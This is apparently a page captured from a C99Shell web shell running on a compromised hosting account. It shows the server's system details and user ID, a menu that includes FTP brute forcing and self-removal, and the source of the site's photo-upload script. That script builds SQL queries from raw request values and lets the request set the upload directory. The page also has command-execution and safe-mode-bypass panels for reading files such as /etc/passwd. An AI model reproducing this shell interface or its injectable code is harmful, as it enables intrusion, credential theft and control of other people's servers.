!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm052.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/admin/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     uploadphotos.php (2.46 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

header
('Content-type: text/html; charset=utf-8');

require(
"./class/class.upload.php");
require(
"./class/config.inc.php");
require(
"./class/Database.singleton.php");
$db Database::obtain(DB_SERVERDB_USERDB_PASSDB_DATABASE);
$db->connect();

$langs = array('fr''en');
$theTable TABLE_GAL;
$id $_REQUEST['id'];
$table $_REQUEST['table'];
$emplacement "produits";
$sql "SELECT page FROM `" TABLE_SLIDER "` WHERE `page`='" $_REQUEST['idparent'] . "' OR `page`='" $_REQUEST['id'] . "'";
$row $db->query($sql);
if (
$db->affected_rows 0) {

} else {
    
$dataa['page'] = $_REQUEST['idparent'];
    
$dataa['active'] = isset($_REQUEST['active']) ? 1;
    
$dataa['dateajout'] = date("Y-m-d H:i:s");
    
$dataa['type'] = isset($_REQUEST['typepage']) ? $_REQUEST['typepage'] : "";
    for (
$i 0$i <= 1$i++) {
        
$dataa['nom_' $langs[$i]] = isset($_REQUEST['nom_' $langs[$i]]) ? $_REQUEST['nom_' $langs[$i]] : "";
    }
    
$primary_id $db->insert(TABLE_SLIDER$dataa);
    
$dataaa['page'] = $primary_id;
    
$toGalImg $primary_id;
    
$db->update(TABLE_SLIDER$dataaa"id='" $primary_id "'");
}
$dX 835;
$dY 489;

$dir_dest = (isset($_GET['dir']) ? $_GET['dir'] : '../images/produits');
$dir_pics = (isset($_GET['pics']) ? $_GET['pics'] : $dir_dest);

foreach (
$_FILES as $fieldName => $file) {


    
$handle = new Upload($_FILES['file'], 'fr_FR');

    if (
$handle->uploaded) {


        
$handle->image_convert 'jpg';
        
$handle->image_resize true;
        
$handle->image_ratio_crop true;
        
$handle->image_x $dX;
        
$handle->image_y $dY;
        
$handle->image_background_color '#1F1F11';
        
$handle->Process($dir_dest);
        if (
$handle->processed) {
            
$data['nom'] = $handle->file_dst_name;
        }

        
$handle->image_convert 'jpg';
        
$handle->image_resize true;
        
$handle->image_ratio_x true;
        
$handle->image_x 294;
        
$handle->image_y 193;
        
$handle->image_background_color '#1F1F11';
        
$handle->Process($dir_dest);
        if (
$handle->processed) {
            
$data['image'] = $handle->file_dst_name;
        }

        
// $data['nom']=$photo;
        //$data['tabledetails']=$table;

        
$data['id_bien'] = $_REQUEST['idparent'];

        
$data['active'] = 1;
        
$data['typePage'] = $_REQUEST['typepage'];
        
$data['dateajout'] = date("Y-m-d H:i:s");
        
$primary_id $db->insert($theTable$data);
    }
    
$handle->clean();
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0245 ]--